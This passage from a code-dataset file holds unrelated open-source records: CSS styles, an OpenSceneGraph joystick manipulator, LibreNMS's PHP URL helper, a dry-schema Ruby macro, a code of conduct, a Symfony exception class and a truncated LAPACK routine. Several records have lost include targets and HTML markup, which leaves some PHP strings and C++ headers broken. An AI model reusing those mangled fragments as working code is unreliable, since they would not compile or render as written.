#919395;\n color: #fff;\n cursor: default;\n}\n\ninput.btn-voted:active, input.btn-voted:focus {\n background-color: #75787b;\n color: #fff;\n cursor: default;\n outline-width: 0;\n}\n\ninput.btn,\ninput.btn:link,\ninput.btn:visited {\n display: inline-block;\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n padding: 0.64285714em 1em;\n border: 0;\n border-radius: 0.28571429em;\n margin: 0;\n vertical-align: middle;\n font-family: \"Avenir Next Medium\", Arial, sans-serif;\n font-style: normal;\n font-weight: 500;\n font-size: 0.875em;\n line-height: normal;\n text-decoration: none;\n cursor: pointer;\n -webkit-transition: .1s;\n transition: .1s;\n -webkit-appearance: none;\n}\n.lt-ie9 .btn,\n.lt-ie9 .btn:link,\n.lt-ie9 .btn:visited {\n font-weight: normal !important;\n}\n\n\n.idea-add .alert {\n color: #d14124;\n display: block;\n margin-top: 1.6em;\n text-align: center;\n text-transform: uppercase;\n}\n.idea-add a .alert {\n color: #d14124;\n text-decoration: none;\n}\n.idea-add a:hover .alert,\n.idea-add a:focus .alert {\n border-color: #d14124 !important;\n}\n.idea-add .alert .down {\n background: url(../img/alert-arrow.png) 0 50% no-repeat;\n height: 22px;\n padding: 0.6875em;\n width: 22px;\n}\n.idea-add .alert-none {\n background-color: #f2f2f2;\n border: 3px solid #999;\n box-sizing: border-box;\n color: #999;\n display: block;\n margin: 1.25em 0;\n padding: 0.5em 1em ;\n text-align: center;\n text-transform: uppercase;\n}\n.idea-add .alert-none .down {\n background: url(../img/alert-check.png) 0 50% no-repeat;\n height: 22px;\n padding: 0.6875em;\n width: 22px;\n}\n.idea-add .alert .alert-content,\n.idea-add .alert-none p {\n display: block;\n margin-bottom: 0.25em;\n}\n.result-number {\n font-weight: bold;\n}\n\n/* Profile Styles */\n.profile_images a {\n display: inline-block;\n max-width: 125px;\n margin: 0 5px 10px 0;\n color: #000;\n font-family: \"Avenir Next\", Arial, sans-serif;\n font-size: 1em;\n line-height: 1.25;\n text-decoration: none;\n vertical-align: top;\n border:none;\n}\n.profile_images img {\n margin: 0 5px 10px 0;\n display: block;\n width: 125px;\n margin-bottom: 5px;\n}\n.profile_images a:hover {\n color: #0072CE;\n}\n\n\n /* Image replacement */\n.ir {\n background-color: transparent;\n border: 0;\n overflow: hidden;\n /* IE 6/7 fallback */\n *text-indent: -9999px;\n}\n.ir:before {\n content: \"\";\n display: block;\n width: 0;\n height: 150%;\n}\n\n.add-summary {\n margin-top: 2em;\n width: 65.71428%;\n}\n.add-summary #submit-buttons {\n margin: 2em 0;\n text-align: center;\n}\n.add-summary #submit-buttons a {\n margin-right: 8em;\n}\n\n.summary-text {\n margin: 1em 0;\n}\n.summary-section {\n padding: 1em 0;\n}\n.summary-section-header {\n font-family: \"Avenir Next Medium\", Arial, sans-serif;\n}\n.summary-section-body {\n margin-top: 0.5em;\n}\n\n/* Hide from both screenreaders and browsers: h5bp.com/u */\n.hidden {\n display: none !important;\n visibility: hidden;\n}\n\n/* Hide only visually, but have it available for screenreaders: h5bp.com/v */\n.visuallyhidden {\n border: 0;\n clip: rect(0 0 0 0);\n height: 1px;\n margin: -1px;\n overflow: hidden;\n padding: 0;\n position: absolute;\n width: 1px;\n}\n\n/*\n * Extends the .visuallyhidden class to allow the element to be focusable\n * when navigated to via the keyboard: h5bp.com/p\n */\n.visuallyhidden.focusable:active,\n.visuallyhidden.focusable:focus {\n clip: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n position: static;\n width: auto;\n}\n\n/* Hide visually and from screenreaders, but maintain layout */\n.invisible {\n visibility: hidden;\n}\n\n.challenge-info {\n border-bottom: 1px solid #000;\n padding: 0;\n padding-bottom: 20px;\n}\n.challenge-info #start {\n margin-right: 2.5em;\n}\n\nsection.main-content hr {\n background-color: #000;\n height: 3px;\n border: 0;\n padding: 0;\n}\n\n.idea-votes .btn-vote,\n.idea-votes .btn-voted,\n.idea-votes .btn-voted:hover,\n.idea-votes .btn-voted:active,\n.idea-votes .btn-voted:focus {\n padding: 0.71428571428571em 0;\n width: 4em;\n font-size: 16px;\n outline: none;\n}\n\n/* Selectize */\n.selectize-input {\n border: 1px solid #919395;\n -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.15);\n -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.15);\n box-shadow: inset 0 1px 3px rgba(0,0,0,0.15);\n -webkit-transition: border linear .2s,box-shadow linear .2s;\n -moz-transition: border linear .2s,box-shadow linear .2s;\n -ms-transition: border linear .2s,box-shadow linear .2s;\n -o-transition: border linear .2s,box-shadow linear .2s;\n transition: border linear .2s,box-shadow linear .2s;\n border-radius: 0;\n display: block;\n}\n.multi.selectize-control .selectize-input [data-value] {\n background: #FFCE8D;\n -webkit-border-radius: 4px;\n -moz-border-radius: 4px;\n border-radius: 4px;\n border: none;\n box-shadow: none;\n -webkit-box-shadow: none;\n -moz-box-shadow: none;\n text-shadow: none;\n color: #000;\n filter: none;\n font-size: 14px;\n}\n.selectize-input input[type=\"text\"],\n.selectize-control textarea {\n vertical-align: middle;\n font-size: 14px;\n}\n.selectize-control div.option span,\n.selectize-control div.create span {\n margin-left: 0;\n display: inline;\n}\n\n/* Pagination */\n\n.pagination {\n border: solid #75787b;\n border-width: 1px 0;\n margin: 20px 0;\n}\n\n.pagination ul {\n display: block;\n padding-left: 0;\n margin: 0;\n overflow: auto;\n}\n\n.pagination [class^=\"icon-\"] {\n font-size: 0.625em;\n}\n\n.pagination ul > li {\n display: inline;\n}\n\n.pagination ul > li > a,\n.pagination ul > li > span {\n padding: 4px 8px;\n float: left;\n color: #75787b;\n line-height: 20px;\n text-decoration: none;\n border-bottom-width: 0;\n}\n\n.pagination ul > li > a:hover,\n.pagination ul > li > a:focus,\n.pagination ul > li > a:hover > i,\n.pagination ul > li > a:focus > i,\n.pagination ul > .active > a,\n.pagination ul > .active > span {\n color: #101820;\n}\n\n.pagination ul > .active > a,\n.pagination ul > .active > span {\n font-family: \"Avenir Next Demi\", Arial, sans-serif;\n font-weight: bold;\n cursor: default;\n}\n\n.pagination ul > .disabled > span,\n"} +{"text": "/* -*-c++-*- OpenSceneGraph Cookbook\n * Chapter 4 Recipe 10\n * Author: Wang Rui \n*/\n\n#include \n#include \"JoystickManipulator\"\n\nLPDIRECTINPUT8 g_inputDevice;\nLPDIRECTINPUTDEVICE8 g_joystick;\n\nstatic BOOL CALLBACK EnumJoysticksCallback( const DIDEVICEINSTANCE* didInstance, VOID* )\n{\n HRESULT hr;\n if ( g_inputDevice )\n {\n hr = g_inputDevice->CreateDevice( didInstance->guidInstance, &g_joystick, NULL );\n }\n if ( FAILED(hr) ) return DIENUM_CONTINUE;\n return DIENUM_STOP;\n}\n\nTwoDimManipulator::TwoDimManipulator()\n: _distance(1.0)\n{\n HRESULT hr = DirectInput8Create( GetModuleHandle(NULL), DIRECTINPUT_VERSION, IID_IDirectInput8, (VOID**)&g_inputDevice, NULL );\n if ( FAILED(hr) || !g_inputDevice ) return;\n \n hr = g_inputDevice->EnumDevices( DI8DEVCLASS_GAMECTRL, EnumJoysticksCallback, NULL, DIEDFL_ATTACHEDONLY );\n}\n\nTwoDimManipulator::~TwoDimManipulator()\n{\n if ( g_joystick ) \n {\n g_joystick->Unacquire();\n g_joystick->Release();\n }\n if ( g_inputDevice ) g_inputDevice->Release();\n}\n\nosg::Matrixd TwoDimManipulator::getMatrix() const\n{\n osg::Matrixd matrix;\n matrix.makeTranslate( 0.0f, 0.0f, _distance );\n matrix.postMultTranslate( _center );\n return matrix;\n}\n\nosg::Matrixd TwoDimManipulator::getInverseMatrix() const\n{\n osg::Matrixd matrix;\n matrix.makeTranslate( 0.0f, 0.0f,-_distance );\n matrix.preMultTranslate( -_center );\n return matrix;\n}\n\nvoid TwoDimManipulator::setByMatrix( const osg::Matrixd& matrix )\n{\n setByInverseMatrix( osg::Matrixd::inverse(matrix) );\n}\n\nvoid TwoDimManipulator::setByInverseMatrix( const osg::Matrixd& matrix )\n{\n osg::Vec3d eye, center, up;\n matrix.getLookAt( eye, center, up );\n \n _center = center;\n if ( _node.valid() )\n _distance = abs((_node->getBound().center() - eye).z());\n else\n _distance = abs((eye - center).length());\n}\n\nvoid TwoDimManipulator::init( const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& us )\n{\n const osgViewer::GraphicsWindowWin32* gw =\n dynamic_cast( ea.getGraphicsContext() );\n if ( gw && g_joystick )\n {\n DIDATAFORMAT format = c_dfDIJoystick2;\n g_joystick->SetDataFormat( &format );\n g_joystick->SetCooperativeLevel( gw->getHWND(), DISCL_EXCLUSIVE|DISCL_FOREGROUND );\n g_joystick->Acquire();\n }\n}\n\nbool TwoDimManipulator::handle( const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& us )\n{\n if ( g_joystick && ea.getEventType()==osgGA::GUIEventAdapter::FRAME )\n {\n HRESULT hr = g_joystick->Poll();\n if ( FAILED(hr) ) g_joystick->Acquire();\n \n DIJOYSTATE2 state;\n hr = g_joystick->GetDeviceState( sizeof(DIJOYSTATE2), &state );\n if ( FAILED(hr) ) return false;\n \n double dx = 0.0, dy = 0.0;\n if ( state.lX==0x0000 ) dx -= 0.01;\n else if ( state.lX==0xffff ) dx += 0.01;\n \n if ( state.lY==0 ) dy -= 0.01;\n else if ( state.lY==0xffff ) dy += 0.01;\n \n if ( state.rgbButtons[0] )\n performMovementLeftMouseButton( 0.0, dx, dy );\n if ( state.rgbButtons[1] )\n performMovementRightMouseButton( 0.0, dx, dy );\n }\n return false;\n}\n\nvoid TwoDimManipulator::home( double )\n{\n if ( _node.valid() )\n {\n _center = _node->getBound().center();\n _distance = 2.5 * _node->getBound().radius();\n }\n else\n {\n _center.set( osg::Vec3() );\n _distance = 1.0;\n }\n}\n\nbool TwoDimManipulator::performMovementLeftMouseButton(\n const double eventTimeDelta, const double dx, const double dy )\n{\n _center.x() -= 100.0f * dx;\n _center.y() -= 100.0f * dy;\n return false;\n}\n\nbool TwoDimManipulator::performMovementRightMouseButton(\n const double eventTimeDelta, const double dx, const double dy )\n{\n _distance *= (1.0 + dy);\n if ( _distance<1.0 ) _distance = 1.0;\n return false;\n}\n"} +{"text": ".\n *\n * @link http://librenms.org\n * @copyright 2018 Tony Murray\n * @author Tony Murray \n */\n\nnamespace LibreNMS\\Util;\n\nuse App\\Models\\Device;\nuse App\\Models\\Port;\nuse Auth;\nuse Carbon\\Carbon;\nuse Carbon\\CarbonImmutable;\nuse Illuminate\\Support\\Str;\nuse LibreNMS\\Config;\nuse Symfony\\Component\\HttpFoundation\\ParameterBag;\n\nclass Url\n{\n /**\n * @param Device $device\n * @param string $text\n * @param array $vars\n * @param int $start\n * @param int $end\n * @param int $escape_text\n * @param int $overlib\n * @return string\n */\n public static function deviceLink($device, $text = null, $vars = [], $start = 0, $end = 0, $escape_text = 1, $overlib = 1)\n {\n if (is_null($device)) {\n return '';\n }\n\n if (! $device->canAccess(Auth::user())) {\n return $device->displayName();\n }\n\n if (! $start) {\n $start = Carbon::now()->subDay()->timestamp;\n }\n\n if (! $end) {\n $end = Carbon::now()->timestamp;\n }\n\n if (! $text) {\n $text = $device->displayName();\n }\n\n if ($escape_text) {\n $text = htmlentities($text);\n }\n\n $class = self::deviceLinkDisplayClass($device);\n $graphs = Graph::getOverviewGraphsForDevice($device);\n $url = Url::deviceUrl($device, $vars);\n\n // beginning of overlib box contains large hostname followed by hardware & OS details\n $contents = '
' . $device->displayName() . '';\n if ($device->hardware) {\n $contents .= ' - ' . htmlentities($device->hardware);\n }\n\n if ($device->os) {\n $contents .= ' - ' . htmlentities(Config::getOsSetting($device->os, 'text'));\n }\n\n if ($device->version) {\n $contents .= ' ' . htmlentities($device->version);\n }\n\n if ($device->features) {\n $contents .= ' (' . htmlentities($device->features) . ')';\n }\n\n if ($device->location_id) {\n $contents .= ' - ' . htmlentities($device->location);\n }\n\n $contents .= '
';\n\n foreach ((array) $graphs as $entry) {\n $graph = isset($entry['graph']) ? $entry['graph'] : 'unknown';\n $graphhead = isset($entry['text']) ? $entry['text'] : 'unknown';\n $contents .= '
';\n $contents .= '' . $graphhead . '
';\n $contents .= Url::minigraphImage($device, $start, $end, $graph);\n $contents .= Url::minigraphImage($device, Carbon::now()->subWeek()->timestamp, $end, $graph);\n $contents .= '
';\n }\n\n if ($overlib == 0) {\n $link = $contents;\n } else {\n $contents = self::escapeBothQuotes($contents);\n $link = Url::overlibLink($url, $text, $contents, $class);\n }\n\n return $link;\n }\n\n /**\n * @param Port $port\n * @param string $text\n * @param string $type\n * @param bool $overlib\n * @param bool $single_graph\n * @return mixed|string\n */\n public static function portLink($port, $text = null, $type = null, $overlib = true, $single_graph = false)\n {\n $label = Rewrite::normalizeIfName($port->getLabel());\n if (! $text) {\n $text = $label;\n }\n\n $content = '
' . addslashes(htmlentities($port->device->displayName() . ' - ' . $label)) . '
';\n if ($port->ifAlias) {\n $content .= addslashes(htmlentities($port->ifAlias)) . '
';\n }\n\n $content .= \"
\";\n $graph_array = [\n 'type' => $type ?: 'port_bits',\n 'legend' => 'yes',\n 'height' => 100,\n 'width' => 340,\n 'to' => Carbon::now()->timestamp,\n 'from' => Carbon::now()->subDay()->timestamp,\n 'id' => $port->port_id,\n ];\n\n $content .= self::graphTag($graph_array);\n if (! $single_graph) {\n $graph_array['from'] = Carbon::now()->subWeek()->timestamp;\n $content .= self::graphTag($graph_array);\n $graph_array['from'] = Carbon::now()->subMonth()->timestamp;\n $content .= self::graphTag($graph_array);\n $graph_array['from'] = Carbon::now()->subYear()->timestamp;\n $content .= self::graphTag($graph_array);\n }\n\n $content .= '
';\n\n if (! $overlib) {\n return $content;\n } elseif ($port->canAccess(Auth::user())) {\n return self::overlibLink(self::portUrl($port), $text, $content, self::portLinkDisplayClass($port));\n }\n\n return Rewrite::normalizeIfName($text);\n }\n\n /**\n * @param Sensor $sensor\n * @param string $text\n * @param string $type\n * @param bool $overlib\n * @param bool $single_graph\n * @return mixed|string\n */\n public static function sensorLink($sensor, $text = null, $type = null, $overlib = true, $single_graph = false)\n {\n $label = $sensor->sensor_descr;\n if (! $text) {\n $text = $label;\n }\n\n $content = '
' . addslashes(htmlentities($sensor->device->displayName() . ' - ' . $label)) . '
';\n\n $content .= \"
\";\n $graph_array = [\n 'type' => $type ?: 'sensor_' . $sensor->sensor_class,\n 'legend' => 'yes',\n 'height' => 100,\n 'width' => 340,\n 'to' => Carbon::now()->timestamp,\n 'from' => Carbon::now()->subDay()->timestamp,\n 'id' => $sensor->sensor_id,\n ];\n\n $content .= self::graphTag($graph_array);\n if (! $single_graph) {\n $graph_array['from'] = Carbon::now()->subWeek()->timestamp;\n $content .= self::graphTag($graph_array);\n $graph_array['from'] = Carbon::now()->subMonth()->timestamp;\n $content .= self::graphTag($graph_array);\n $graph_array['from'] = Carbon::now()->subYear()->timestamp;\n $content .= self::graphTag($graph_array);\n }\n\n $content .= '
';\n\n if (! $overlib) {\n return $content;\n }\n\n return self::overlibLink(self::sensorUrl($sensor), $text, $content, self::sensorLinkDisplayClass($sensor));\n }\n\n /**\n * @param int|Device $device\n * @param array $vars\n * @return string\n */\n public static function deviceUrl($device, $vars = [])\n {\n $routeParams = [is_int($device) ? $device : $device->device_id];\n if (isset($vars['tab'])) {\n $routeParams[] = $vars['tab'];\n unset($vars['tab']);\n }\n\n return route('device', $routeParams) . self::urlParams($vars);\n }\n\n public static function portUrl($port, $vars = [])\n {\n return self::generate(['page' => 'device', 'device' => $port->device_id, 'tab' => 'port', 'port' => $port->port_id], $vars);\n }\n\n public static function sensorUrl($sensor, $vars = [])\n {\n return self::generate(['page' => 'device', 'device' => $sensor->device_id, 'tab' => 'health', 'metric' => $sensor->sensor_class], $vars);\n }\n\n /**\n * @param Port $port\n * @return string\n */\n public static function portThumbnail($port)\n {\n $graph_array = [\n 'port_id' => $port->port_id,\n 'graph_type' => 'port_bits',\n 'from' => Carbon::now()->subDay()->timestamp,\n 'to' => Carbon::now()->timestamp,\n 'width' => 150,\n 'height' => 21,\n ];\n\n return self::portImage($graph_array);\n }\n\n public static function portImage($args)\n {\n if (empty($args['bg'])) {\n $args['bg'] = 'FFFFFF00';\n }\n\n return '';\n }\n\n public static function generate($vars, $new_vars = [])\n {\n $vars = array_merge($vars, $new_vars);\n\n $url = url(Config::get('base_url', true) . $vars['page'] . '');\n unset($vars['page']);\n\n return $url . self::urlParams($vars);\n }\n\n /**\n * Generate url parameters to append to url\n * $prefix will only be prepended if there are parameters\n *\n * @param array $vars\n * @param string $prefix\n * @return string\n */\n private static function urlParams($vars, $prefix = '/')\n {\n $url = empty($vars) ? '' : $prefix;\n foreach ($vars as $var => $value) {\n if ($value == '0' || $value != '' && ! Str::contains($var, 'opt') && ! is_numeric($var)) {\n $url .= $var . '=' . urlencode($value) . '/';\n }\n }\n\n return $url;\n }\n\n /**\n * @param array $args\n * @return string\n */\n public static function graphTag($args)\n {\n $urlargs = [];\n foreach ($args as $key => $arg) {\n $urlargs[] = $key . '=' . urlencode($arg);\n }\n\n return '';\n }\n\n public static function graphPopup($args)\n {\n // Take $args and print day,week,month,year graphs in overlib, hovered over graph\n $original_from = $args['from'];\n $now = CarbonImmutable::now();\n\n $graph = self::graphTag($args);\n $content = '
' . $args['popup_title'] . '
';\n $content .= '
';\n $args['width'] = 340;\n $args['height'] = 100;\n $args['legend'] = 'yes';\n $args['from'] = $now->subDay()->timestamp;\n $content .= self::graphTag($args);\n $args['from'] = $now->subWeek()->timestamp;\n $content .= self::graphTag($args);\n $args['from'] = $now->subMonth()->timestamp;\n $content .= self::graphTag($args);\n $args['from'] = $now->subYear()->timestamp;\n $content .= self::graphTag($args);\n $content .= '
';\n\n $args['from'] = $original_from;\n\n $args['link'] = self::generate($args, ['page' => 'graphs', 'height' => null, 'width' => null, 'bg' => null]);\n\n return self::overlibLink($args['link'], $graph, $content, null);\n }\n\n public static function lazyGraphTag($args)\n {\n $urlargs = [];\n\n foreach ($args as $key => $arg) {\n $urlargs[] = $key . '=' . urlencode($arg);\n }\n\n if (Config::get('enable_lazy_load', true)) {\n return '';\n }\n\n return '';\n }\n\n public static function overlibLink($url, $text, $contents, $class = null)\n {\n $contents = \"
\" . $contents . '
';\n $contents = str_replace('\"', \"\\'\", $contents);\n if ($class === null) {\n $output = '\";\n } else {\n $output .= '>';\n }\n\n $output .= $text . '';\n\n return $output;\n }\n\n public static function overlibContent($graph_array, $text)\n {\n $overlib_content = '
' . $text . '
';\n\n $now = Carbon::now();\n\n foreach ([1, 7, 30, 365] as $days) {\n $graph_array['from'] = $now->subDays($days)->timestamp;\n $overlib_content .= self::escapeBothQuotes(self::graphTag($graph_array));\n }\n\n $overlib_content .= '
';\n\n return $overlib_content;\n }\n\n /**\n * Generate minigraph image url\n *\n * @param Device $device\n * @param int $start\n * @param int $end\n * @param string $type\n * @param string $legend\n * @param int $width\n * @param int $height\n * @param string $sep\n * @param string $class\n * @param int $absolute_size\n * @return string\n */\n public static function minigraphImage($device, $start, $end, $type, $legend = 'no', $width = 275, $height = 100, $sep = '&', $class = 'minigraph-image', $absolute_size = 0)\n {\n $vars = ['device=' . $device->device_id, \"from=$start\", \"to=$end\", \"width=$width\", \"height=$height\", \"type=$type\", \"legend=$legend\", \"absolute=$absolute_size\"];\n\n return '';\n }\n\n /**\n * @param Device $device\n * @return string\n */\n private static function deviceLinkDisplayClass($device)\n {\n if ($device->disabled) {\n return 'list-device-disabled';\n }\n\n if ($device->ignore) {\n return $device->status ? 'list-device-ignored-up' : 'list-device-ignored';\n }\n\n return $device->status ? 'list-device' : 'list-device-down';\n }\n\n /**\n * Get html class for a port using ifAdminStatus and ifOperStatus\n *\n * @param Port $port\n * @return string\n */\n public static function portLinkDisplayClass($port)\n {\n if ($port->ifAdminStatus == 'down') {\n return 'interface-admindown';\n }\n\n if ($port->ifAdminStatus == 'up' && $port->ifOperStatus != 'up') {\n return 'interface-updown';\n }\n\n return 'interface-upup';\n }\n\n /**\n * Get html class for a sensor\n *\n * @param \\App\\Models\\Sensor $sensor\n * @return string\n */\n public static function sensorLinkDisplayClass($sensor)\n {\n if ($sensor->sensor_current > $sensor->sensor_limit) {\n return 'sensor-high';\n }\n\n if ($sensor->sensor_current < $sensor->sensor_limit_low) {\n return 'sensor-low';\n }\n\n return 'sensor-ok';\n }\n\n /**\n * @param string $os\n * @param string $feature\n * @param string $icon\n * @param string $dir directory to search in (images/os/ or images/logos)\n * @return string\n */\n public static function findOsImage($os, $feature, $icon = null, $dir = 'images/os/')\n {\n $possibilities = [$icon];\n\n if ($os) {\n if ($os == 'linux') {\n // first, prefer the first word of $feature\n $distro = Str::before(strtolower(trim($feature)), ' ');\n $possibilities[] = \"$distro.svg\";\n $possibilities[] = \"$distro.png\";\n\n // second, prefer the first two words of $feature (i.e. 'Red Hat' becomes 'redhat')\n if (strpos($feature, ' ') !== false) {\n $distro = Str::replaceFirst(' ', null, strtolower(trim($feature)));\n $distro = Str::before($distro, ' ');\n $possibilities[] = \"$distro.svg\";\n $possibilities[] = \"$distro.png\";\n }\n }\n $os_icon = Config::getOsSetting($os, 'icon', $os);\n $possibilities[] = \"$os_icon.svg\";\n $possibilities[] = \"$os_icon.png\";\n }\n\n foreach ($possibilities as $file) {\n if (is_file(Config::get('html_dir') . \"/$dir\" . $file)) {\n return $file;\n }\n }\n\n // fallback to the generic icon\n return 'generic.svg';\n }\n\n /**\n * parse a legacy path (one without ? or &)\n *\n * @param string $path\n * @return ParameterBag\n */\n public static function parseLegacyPath($path)\n {\n $parts = array_filter(explode('/', $path), function ($part) {\n return Str::contains($part, '=');\n });\n\n $vars = [];\n foreach ($parts as $part) {\n [$key, $value] = explode('=', $part);\n $vars[$key] = $value;\n }\n\n return new ParameterBag($vars);\n }\n\n private static function escapeBothQuotes($string)\n {\n return str_replace([\"'\", '\"'], \"\\'\", $string);\n }\n}\n"} +{"text": "# frozen_string_literal: true\n\nrequire \"dry/schema/macros/value\"\n\nmodule Dry\n module Schema\n module Macros\n # Macro used to specify a nested schema\n #\n # @api private\n class Schema < Value\n # @api private\n def call(*args, &block)\n super(*args, &nil) unless args.empty?\n\n if args.size.equal?(1) && (op = args.first).is_a?(Dry::Logic::Operations::Abstract)\n process_operation(op)\n end\n\n if block\n schema = define(*args, &block)\n import_steps(schema)\n trace << schema.to_rule\n end\n\n self\n end\n\n private\n\n # @api private\n def process_operation(op)\n schemas = op.rules.select { |rule| rule.is_a?(Processor) }\n\n hash_schema = hash_type.schema(\n schemas.map(&:schema_dsl).map(&:types).reduce(:merge)\n )\n\n type(hash_schema)\n end\n\n # @api private\n def hash_type\n schema_dsl.resolve_type(:hash)\n end\n\n # @api private\n def define(*args, &block)\n definition = schema_dsl.new(path: schema_dsl.path, &block)\n schema = definition.call\n type_schema =\n if array_type?(parent_type)\n build_array_type(parent_type, definition.type_schema)\n elsif redefined_schema?(args)\n parent_type.schema(definition.types)\n else\n definition.type_schema\n end\n final_type = optional? ? type_schema.optional : type_schema\n\n type(final_type)\n\n if schema.filter_rules?\n schema_dsl[name].filter { hash?.then(schema(schema.filter_schema)) }\n end\n\n schema\n end\n\n # @api private\n def parent_type\n schema_dsl.types[name]\n end\n\n # @api private\n def optional?\n parent_type.optional?\n end\n\n # @api private\n def schema?\n parent_type.respond_to?(:schema)\n end\n\n # @api private\n def redefined_schema?(args)\n schema? && args.first.is_a?(Processor)\n end\n end\n end\n end\nend\n"} +{"text": "# Contributor Code of Conduct\n\nAs contributors and maintainers of this project, we pledge to respect all people who contribute through reporting issues, posting feature requests, updating documentation, submitting pull requests or patches, and other activities.\n\nWe are committed to making participation in this project a harassment-free experience for everyone, regardless of level of experience, gender, gender identity and expression, sexual orientation, disability, personal appearance, body size, race, age, or religion.\n\nExamples of unacceptable behavior by participants include the use of sexual language or imagery, derogatory comments or personal attacks, trolling, public or private harassment, insults, or other unprofessional conduct.\n\nProject maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct. Project maintainers who do not follow the Code of Conduct may be removed from the project team.\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be reported by opening an issue or contacting one or more of the project maintainers.\n\nThis Code of Conduct is adapted from the [Contributor Covenant](http://contributor-covenant.org), version 1.0.0, available at [http://contributor-covenant.org/version/1/0/0/](http://contributor-covenant.org/version/1/0/0/)\n"} +{"text": "\n \n"} +{"text": "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Symfony\\Component\\HttpKernel\\Exception;\n\n/**\n * ConflictHttpException.\n *\n * @author Ben Ramsey \n */\nclass ConflictHttpException extends HttpException\n{\n /**\n * Constructor.\n *\n * @param string $message The internal exception message\n * @param \\Exception $previous The previous exception\n * @param int $code The internal exception code\n */\n public function __construct($message = null, \\Exception $previous = null, $code = 0)\n {\n parent::__construct(409, $message, $previous, array(), $code);\n }\n}\n"} +{"text": "/* spbcon.f -- translated by f2c (version 20061008).\n You must link the resulting object file with libf2c:\n\ton Microsoft Windows system, link with libf2c.lib;\n\ton Linux or Unix systems, link with .../path/to/libf2c.a -lm\n\tor, if you install libf2c.a in a standard place, with -lf2c -lm\n\t-- in that order, at the end of the command line, as in\n\t\tcc *.o -lf2c -lm\n\tSource for libf2c is in /netlib/f2c/libf2c.zip, e.g.,\n\n\t\thttp://www.netlib.org/f2c/libf2c.zip\n*/\n\n#include \"f2c.h\"\n#include \"blaswrap.h\"\n\n/* Table of constant values */\n\nstatic integer c__1 = 1;\n\n/* Subroutine */ int spbcon_(char *uplo, integer *n, integer *kd, real *ab, \n\tinteger *ldab, real *anorm, real *rcond, real *work, integer *iwork, \n\tinteger *info)\n{\n /* System generated locals */\n integer ab_dim1, ab_offset, i__1;\n real r__1;\n\n /* Local variables */\n integer ix, kase;\n real scale;\n extern logical lsame_(char *, char *);\n integer isave[3];\n extern /* Subroutine */ int srscl_(integer *, real *, real *, integer *);\n logical upper;\n extern /* Subroutine */ int slacn2_(integer *, real *, real *, integer *, \n\t real *, integer *, integer *);\n real scalel;\n extern doublereal slamch_(char *);\n real scaleu;\n extern /* Subroutine */ int xerbla_(char *, integer *);\n extern integer isamax_(integer *, real *, integer *);\n real ainvnm;\n extern /* Subroutine */ int slatbs_(char *, char *, char *, char *, \n\t integer *, integer *, real *, integer *, real *, real *, real *, \n\t integer *);\n char normin[1];\n real smlnum;\n\n\n/* -- LAPACK routine (version 3.2) -- */\n/* Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. */\n/* November 2006 */\n\n/* Modified to call SLACN2 in place of SLACON, 7 Feb 03, SJH. */\n\n/* .. Scalar Arguments .. */\n/* .. */\n/* .. Array Arguments .. */\n/* .. */\n\n/* Purpose */\n/* ======= */\n\n/* SPBCON estimates the reciprocal of the condition number (in the */\n/* 1-norm) of a real symmetric positive definite band matrix using the */\n/* Cholesky factorization A = U**T*U or A = L*L**T computed by SPBTRF. */\n\n/* An estimate is obtained for norm(inv(A)), and the reciprocal of the */\n/* condition number is computed as RCOND = 1 / (ANORM * norm(inv(A))). */\n\n/* Arguments */\n/* ========= */\n\n/* UPLO (input) CHARACTER*1 */\n/* = 'U': Upper triangular factor stored in AB; */\n/* = 'L': Lower triangular factor stored in AB. */\n\n/* N (input) INTEGER */\n/* The order of the matrix A. N >= 0. */\n\n/* KD (input) INTEGER */\n/* The number of superdiagonals of the matrix A if UPLO = 'U', */\n/* or the number of subdiagonals if UPLO = 'L'. KD >= 0. */\n\n/* AB (input) REAL array, dimension (LDAB,N) */\n/* The triangular factor U or L from the Cholesky factorization */\n/* A = U**T*U or A = L*L**T of the band matrix A, stored in the */\n/* first KD+1 rows of the array. The j-th column of U or L is */\n/* stored in the j-th column of the array AB as follows: */\n/* if UPLO ='U', AB(kd+1+i-j,j) = U(i,j) for max(1,j-kd)<=i<=j; */\n/* if UPLO ='L', AB(1+i-j,j) = L(i,j) for j<=i<=min(n,j+kd). */\n\n/* LDAB (input) INTEGER */\n/* The leading dimension of the array AB. LDAB >= KD+1. */\n\n/* ANORM (input) REAL */\n/* The 1-norm (or infinity-norm) of the symmetric band matrix A. */\n\n/* RCOND (output) REAL */\n/* The reciprocal of the condition number of the matrix A, */\n/* computed as RCOND = 1/(ANORM * AINVNM), where AINVNM is an */\n/* estimate of the 1-norm of inv(A) computed in this routine. */\n\n/* WORK (workspace) REAL array, dimension (3*N) */\n\n/* IWORK (workspace) INTEGER array, dimension (N) */\n\n/* INFO (output) INTEGER */\n/* = 0: successful exit */\n/* < 0: if INFO = -i, the i-th argument had an illegal value */\n\n/* ===================================================================== */\n\n/* .. Parameters .. */\n/* .. */\n/* .. Local Scalars .. */\n/* .. */\n/* .. Local Arrays .. */\n/* .. */\n/* .. External Functions .. */\n/* .. */\n/* .. External Subroutines .. */\n/* .. */\n/* .. Intrinsic Functions .. */\n/* .. */\n/* .. Executable Statements .. */\n\n/* Test the input parameters. */\n\n /* Parameter adjustments */\n ab_dim1 = *ldab;\n ab_offset = 1 + ab_dim1;\n ab -= ab_offset;\n --work;\n --iwork;\n\n /* Function Body */\n *info = 0;\n upper = lsame_(uplo, \"U\");\n if (! upper && ! lsame_(uplo, \"L\")) {\n\t*info = -1;\n } else if (*n < 0) {\n\t*info = -2;\n } else if (*kd < 0) {\n\t*info = -3;\n } else if (*ldab < *kd + 1) {\n\t*info = -5;\n } else if (*anorm < 0.f) {\n\t*info = -6;\n }\n if (*info != 0) {\n\ti__1 = -(*info);\n\txerbla_(\"SPBCON\", &i__1);\n\treturn 0;\n }\n\n/* Quick return if possible */\n\n *rcond = 0.f;\n if (*n == 0) {\n\t*rcond = 1.f;\n\treturn 0;\n } else if (*anorm == 